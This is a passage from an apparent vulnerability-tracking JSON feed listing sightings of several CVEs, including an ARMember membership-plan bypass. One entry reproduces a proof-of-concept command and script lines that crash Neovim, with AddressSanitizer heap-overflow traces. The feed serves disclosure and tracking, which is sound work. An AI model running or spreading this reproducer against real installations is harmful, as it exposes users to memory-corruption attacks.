\u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0438 \u043d\u0443\u043b\u0435\u0432\u043e\u0433\u043e \u0434\u043d\u044f, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u0443\u0436\u0435 \u044d\u043a\u0441\u043f\u043b\u0443\u0430\u0442\u0438\u0440\u0443\u044e\u0442\u0441\u044f \u0432 \u0440\u0435\u0430\u043b\u044c\u043d\u044b\u0445 \u0443\u0441\u043b\u043e\u0432\u0438\u044f\u0445.\n\n7\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Adobe \u0432\u044b\u043f\u0443\u0441\u0442\u0438\u043b \u043e\u0433\u0440\u043e\u043c\u043d\u0443\u044e \u043f\u0430\u0440\u0442\u0438\u044e \ud83d\udcbd\u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438 \u0434\u043b\u044f \u0443\u0441\u0442\u0440\u0430\u043d\u0435\u043d\u0438\u044f \u043a\u0440\u0438\u0442\u0438\u0447\u0435\u0441\u043a\u0438\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0432 \u0441\u0432\u043e\u0438\u0445 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430\u0445 Acrobat \u0438 Reader, ColdFusion, inDesign, inCopy \u0438 Audition.\n\n8\ufe0f\u20e3 \u041a\u043e\u043c\u043f\u0430\u043d\u0438\u044f Veeam Software \u043f\u0440\u0435\u0434\u0441\u0442\u0430\u0432\u0438\u043b\u0430 \u0438\u0441\u043f\u0440\u0430\u0432\u043b\u0435\u043d\u0438\u044f \u0434\u043b\u044f \u0447\u0435\u0442\u044b\u0440\u0435\u0445 \u0441\u0435\u0440\u044c\u0435\u0437\u043d\u044b\u0445 \u0443\u044f\u0437\u0432\u0438\u043c\u043e\u0441\u0442\u0435\u0439 \u0431\u0435\u0437\u043e\u043f\u0430\u0441\u043d\u043e\u0441\u0442\u0438, \u043a\u043e\u0442\u043e\u0440\u044b\u0435 \u043f\u043e\u0434\u0432\u0435\u0440\u0433\u0430\u044e\u0442 \ud83d\udc65\u043f\u043e\u043b\u044c\u0437\u043e\u0432\u0430\u0442\u0435\u043b\u0435\u0439 \u043f\u0440\u043e\u0434\u0443\u043a\u0442\u0430 Veeam ONE \u0430\u0442\u0430\u043a\u0430\u043c \u0441 \u0443\u0434\u0430\u043b\u0435\u043d\u043d\u044b\u043c \u0432\u044b\u043f\u043e\u043b\u043d\u0435\u043d\u0438\u0435\u043c \u043a\u043e\u0434\u0430.", "creation_timestamp": "2026-07-29T12:03:07.329043Z"}, {"uuid": "f40d8840-0edc-44c8-9127-594222c97e98", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "seen", "source": "https://t.me/hacking_Attack/126645", "content": "Profile feature is vulnerable for Bypass Membership Plan. Attacker can manipulate the request to get \u201cMembership Plan\u201d without payingContinue reading on Medium \u00bb (https://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-01T20:00:42.657974Z"}, {"uuid": "dc641e4f-e75d-4825-9b48-8e70990bd386", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "seen", "source": "https://t.me/hacking_Attack/126643", "content": "CVE-2023\u201347837: ARMember \u2264= 4.0.10\u200a\u2014\u200aBypass Membership Plan\nhttps://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-01T20:00:42.911046Z"}, {"uuid": "6791bd71-c7c8-4eef-bda0-a7c4a1023798", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "seen", "source": "https://t.me/hacking_Attack/126645", "content": "Profile feature is vulnerable for Bypass Membership Plan. Attacker can manipulate the request to get \u201cMembership Plan\u201d without payingContinue reading on Medium \u00bb (https://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-02T01:01:03.070339Z"}, {"uuid": "1707bd40-f9f7-4656-8860-83af07780047", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "seen", "source": "https://t.me/hacking_Attack/126643", "content": "CVE-2023\u201347837: ARMember \u2264= 4.0.10\u200a\u2014\u200aBypass Membership Plan\nhttps://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-02T01:01:03.321862Z"}, {"uuid": "cb50781b-ee0b-47a1-a3e3-03e13e49cd2f", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47108", "type": "seen", "source": "Telegram/FxPwD2QYmiA5ZVhY8rKhgPR6q1a7u8sU2ARM9Vm3CjRJJs0", "content": "", "creation_timestamp": "2026-09-02T05:00:04.211892Z"}, {"uuid": "4fd7ff26-1979-45ed-954f-988cf78f3ad0", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47108", "type": "published-proof-of-concept", "source": "Telegram/FxPwD2QYmiA5ZVhY8rKhgPR6q1a7u8sU2ARM9Vm3CjRJJs0", "content": "", "creation_timestamp": "2026-09-03T00:00:44.098312Z"}, {"uuid": "4f724736-7b9e-49a6-a0f8-8cba2ea0404e", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/126643", "content": "CVE-2023\u201347837: ARMember \u2264= 4.0.10\u200a\u2014\u200aBypass Membership Plan\nhttps://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5", "creation_timestamp": "2026-09-04T01:00:05.214498Z"}, {"uuid": "4af4a903-d15a-4832-ab51-4f64fa6445cd", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47837", "type": "published-proof-of-concept", "source": "https://t.me/hacking_Attack/126645", "content": "Profile feature is vulnerable for Bypass Membership Plan. Attacker can manipulate the request to get \u201cMembership Plan\u201d without payingContinue reading on Medium \u00bb (https://revan-ar.medium.com/cve-2023-47837-armember-4-0-10-bypass-membership-plan-4bc1e63f044c?source=rss------bug_bounty-5)", "creation_timestamp": "2026-09-04T01:00:05.501073Z"}, {"uuid": "6657c8e3-025e-4fae-a378-be568dd9d772", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-47253", "type": "exploited", "source": "The Shadowserver (honeypot/exploited-vulnerabilities) - (2026-09-05)", "content": "", "creation_timestamp": "2026-09-06T10:15:10.000850Z"}, {"uuid": "5f359744-63ad-471d-9559-c3e1c19d98bc", "vulnerability_lookup_origin": "1a89b78e-f703-45f3-bb86-59eb712668bd", "author": "9f56dd64-161d-43a6-b9c3-555944290a09", "vulnerability": "CVE-2023-4751", "type": "seen", "source": "https://gist.github.com/zhuozhenwei/4c8e5a74cab9d06d11a53ab1823c9ab5", "content": "Command:\n./nvim-0.8.3 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(vim)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nExecuting:     aunmenu *\n\nExecuting:     vnoremenu PopUp.Cut                     \"+x\n\nExecuting:     vnoremenu PopUp.Copy                    \"+y\n\nExecuting:     anoremenu PopUp.Paste                   \"+gP\n\nExecuting:     vnoremenu PopUp.Paste                   \"+P\n\nExecuting:     vnoremenu PopUp.Delete                  \"_x\n\nExecuting:     nnoremenu PopUp.Select\\ All             ggVG\n\nExecuting:     vnoremenu PopUp.Select\\ All             gg0oG$\n\nExecuting:     inoremenu PopUp.Select\\ All             VG\n\nExecuting:     anoremenu PopUp.-1-                     \n\nExecuting:     anoremenu PopUp.How-to\\ disable\\ mouse  help disable-mouse\n\nExecuting:   \n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25805==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x602000006012 at pc 0x000000870029 bp 0x7ffcf711dbb0 sp 0x7ffcf711dba8\nREAD of size 1 at 0x602000006012 thread T0\n    #0 0x870028 in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16\n    #1 0x8d9a54 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4451:25\n    #2 0x8f200d in nv_zg_zw /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3577:25\n    #3 0x8e7d92 in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3975:9\n    #4 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #5 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #6 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #7 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #8 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #9 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #10 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #11 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #12 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #13 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #14 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #15 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #16 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #17 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #18 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #19 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n    #20 0x821a00 in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:534:5\n    #21 0x7f16a0f0d082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #22 0x466f8d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x466f8d)\n\n0x602000006012 is located 0 bytes to the right of 2-byte region [0x602000006010,0x602000006012)\nallocated by thread T0 here:\n    #0 0x4df6cd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.8.3-ASAN+0x4df6cd)\n    #1 0x88a149 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:82:15\n    #2 0x88a27a in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:116:15\n    #3 0x5df777 in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:686:16\n    #4 0x5dfc61 in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:622:3\n    #5 0x64fc50 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:2176:7\n    #6 0x6558bb in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1975:5\n    #7 0x655174 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1167:7\n    #8 0x6495d5 in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:668:10\n    #9 0xa59808 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:88:26\n    #10 0x64b487 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:331:5\n    #11 0x648d5f in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1263:3\n    #12 0x8ec580 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7061:7\n    #13 0x8e43eb in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5520:7\n    #14 0x8db560 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1172:3\n    #15 0x8da5c8 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7420:9\n    #16 0x73b1e3 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6446:5\n    #17 0x73b079 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6429:3\n    #18 0x73ff27 in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:6361:7\n    #19 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #20 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #21 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #22 0x9cbc85 in do_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:2036:5\n    #23 0x9ca538 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1618:14\n    #24 0x9ca41e in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/runtime.c:1626:3\n    #25 0x7316ed in execute_cmd0 /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1620:7\n    #26 0x72925b in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:2275:7\n    #27 0x72400a in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:584:20\n    #28 0x726921 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:287:10\n    #29 0x826e2b in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1807:5\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:868:16 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047fff8bb0: fa fa 00 01 fa fa fd fd fa fa 00 01 fa fa 00 04\n  0x0c047fff8bc0: fa fa 00 04 fa fa 05 fa fa fa fd fa fa fa 07 fa\n  0x0c047fff8bd0: fa fa fd fa fa fa 00 00 fa fa 00 00 fa fa fd fa\n  0x0c047fff8be0: fa fa fd fd fa fa 00 00 fa fa fd fa fa fa fd fa\n  0x0c047fff8bf0: fa fa fd fa fa fa 01 fa fa fa 00 fa fa fa 01 fa\n=>0x0c047fff8c00: fa fa[02]fa fa fa fd fa fa fa fd fa fa fa fd fd\n  0x0c047fff8c10: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8c20: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047fff8c30: fa fa fd fa fa fa fd fa fa fa fd fd fa fa fd fa\n  0x0c047fff8c40: fa fa fd fa fa fa fd fa fa fa 07 fa fa fa 01 fa\n  0x0c047fff8c50: fa fa 05 fa fa fa 01 fa fa fa 01 fa fa fa 02 fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25805==ABORTING\n\n\nCommand:\n./nvim-0.7.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nExecuting: augroup nvim_terminal\n\nExecuting: autocmd BufReadCmd term://* ++nested if !exists('b:term_title')|call termopen(matchstr(expand(\"\"), '\\c\\mterm://\\%(.\\{-}//\\%(\\d\\+:\\)\\?\\)\\?\\zs.*'), {'cwd': expand(get(matchlist(expand(\"\"), '\\c\\mterm://\\(.\\{-}\\)//'), 1, ''))})|endif\n\nExecuting: augroup END\n\nExecuting: augroup nvim_cmdwin\n\nExecuting: autocmd! CmdwinEnter [:>] syntax sync minlines=1 maxlines=1\n\nExecuting: augroup END\n\nExecuting: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25864==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x60200003a8d2 at pc 0x000000baa92b bp 0x7fff19e94270 sp 0x7fff19e94268\nREAD of size 1 at 0x60200003a8d2 thread T0\n    #0 0xbaa92a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26\n    #1 0xc64109 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4480:25\n    #2 0xc8a82c in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:3968:27\n    #3 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #4 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #5 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #6 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #7 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #8 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #9 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #10 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #11 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #12 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #13 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #14 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #15 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #16 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #17 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #18 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n    #19 0x460f7d in _start (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x460f7d)\n\n0x60200003a8d2 is located 0 bytes to the right of 2-byte region [0x60200003a8d0,0x60200003a8d2)\nallocated by thread T0 here:\n    #0 0x4d96bd in malloc (/home/zzw/Desktop/EXE/nvim_exe/nvim-0.7.0-ASAN+0x4d96bd)\n    #1 0xbdb432 in try_malloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:74:15\n    #2 0xbdb5f4 in xmalloc /home/zzw/Desktop/neovim/build/../src/nvim/memory.c:108:15\n    #3 0x6d61ed in ins_char_bytes /home/zzw/Desktop/neovim/build/../src/nvim/change.c:625:18\n    #4 0x6d683f in ins_char /home/zzw/Desktop/neovim/build/../src/nvim/change.c:560:3\n    #5 0x75abb5 in insertchar /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5955:7\n    #6 0x76c384 in insert_special /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:5741:5\n    #7 0x76b489 in insert_handle_key /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1373:7\n    #8 0x74279f in insert_execute /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:840:10\n    #9 0xfc6ee5 in state_enter /home/zzw/Desktop/neovim/build/../src/nvim/state.c:89:26\n    #10 0x746c03 in insert_enter /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:496:5\n    #11 0x74086d in edit /home/zzw/Desktop/neovim/build/../src/nvim/edit.c:1472:3\n    #12 0xc903f8 in invoke_edit /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7265:7\n    #13 0xc79dd5 in nv_Replace /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:5619:7\n    #14 0xc69241 in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1166:3\n    #15 0xc65b56 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7645:9\n    #16 0x96add0 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8743:5\n    #17 0x96ab16 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8726:3\n    #18 0x98360a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8658:7\n    #19 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #20 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #21 0x928fcf in do_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:2086:5\n    #22 0x926742 in cmd_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1678:14\n    #23 0x9267c0 in ex_source /home/zzw/Desktop/neovim/build/../src/nvim/ex_cmds2.c:1659:3\n    #24 0x942784 in do_one_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:1972:5\n    #25 0x934ab2 in do_cmdline /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:595:20\n    #26 0x938453 in do_cmdline_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:279:10\n    #27 0xb234ce in exe_commands /home/zzw/Desktop/neovim/build/../src/nvim/main.c:1846:5\n    #28 0xb18d4f in main /home/zzw/Desktop/neovim/build/../src/nvim/main.c:520:5\n    #29 0x7f1b05339082 in __libc_start_main /build/glibc-B3wQXB/glibc-2.31/csu/../csu/libc-start.c:308:16\n\nSUMMARY: AddressSanitizer: heap-buffer-overflow /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:893:26 in utfc_ptr2len\nShadow bytes around the buggy address:\n  0x0c047ffff4c0: fa fa fd fd fa fa 00 01 fa fa fd fd fa fa 00 04\n  0x0c047ffff4d0: fa fa 00 04 fa fa fd fd fa fa 05 fa fa fa fd fa\n  0x0c047ffff4e0: fa fa 07 fa fa fa fd fd fa fa fd fa fa fa 00 00\n  0x0c047ffff4f0: fa fa 00 00 fa fa fd fa fa fa fd fd fa fa 00 00\n  0x0c047ffff500: fa fa fd fa fa fa fd fa fa fa fd fa fa fa 01 fa\n=>0x0c047ffff510: fa fa 00 fa fa fa 01 fa fa fa[02]fa fa fa fd fa\n  0x0c047ffff520: fa fa fd fa fa fa 01 fa fa fa fd fa fa fa fd fd\n  0x0c047ffff530: fa fa 00 04 fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff540: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff550: fa fa fd fa fa fa fd fa fa fa fd fa fa fa fd fa\n  0x0c047ffff560: fa fa fd fa fa fa fd fd fa fa fd fa fa fa fd fa\nShadow byte legend (one shadow byte represents 8 application bytes):\n  Addressable:           00\n  Partially addressable: 01 02 03 04 05 06 07 \n  Heap left redzone:       fa\n  Freed heap region:       fd\n  Stack left redzone:      f1\n  Stack mid redzone:       f2\n  Stack right redzone:     f3\n  Stack after return:      f5\n  Stack use after scope:   f8\n  Global redzone:          f9\n  Global init order:       f6\n  Poisoned by user:        f7\n  Container overflow:      fc\n  Array cookie:            ac\n  Intra object redzone:    bb\n  ASan internal:           fe\n  Left alloca redzone:     ca\n  Right alloca redzone:    cb\n  Shadow gap:              cc\n==25864==ABORTING\n\n\nCommand:\n./nvim-0.3.0 -u NONE -i NONE -n -m -X -V20 -e -s -S poc -c :qa!\n\nOutput:\nline 0: so poc\n\nline 0: sourcing \"poc\"\nline 1: norm0R0\n\nline 2: sp0\n\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\nchdir(/home/zzw/Desktop/DATA/Exec_PoC/CVE-2023-4751)\n\"0\" [New File]\nline 2: unlet! b:keymap_name\n\nline 3: no0 R\n\nline 4: sil0norm0000\n\nline 5: norm^V\ufffd\n\nline 6: ba\n\nline 7: norm8zW\n=================================================================\n==25949==ERROR: AddressSanitizer: heap-buffer-overflow on address 0x6020000081d2 at pc 0x0000009ace3b bp 0x7ffd7c9e0790 sp 0x7ffd7c9e0788\nREAD of size 1 at 0x6020000081d2 thread T0\n    #0 0x9ace3a in utfc_ptr2len /home/zzw/Desktop/neovim/build/../src/nvim/mbyte.c:878:26\n    #1 0xa712e8 in get_visual_text /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4920:25\n    #2 0xa97cff in nv_zet /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:4459:27\n    #3 0xa7508c in normal_execute /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:1137:3\n    #4 0xa71b46 in normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/normal.c:7993:9\n    #5 0x810a29 in exec_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8213:5\n    #6 0x810776 in exec_normal_cmd /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8196:3\n    #7 0x82d61a in ex_normal /home/zzw/Desktop/neovim/build/../src/nvim/ex_docmd.c:8110:7\n    #8 0x7f7008 in do_one_cmd 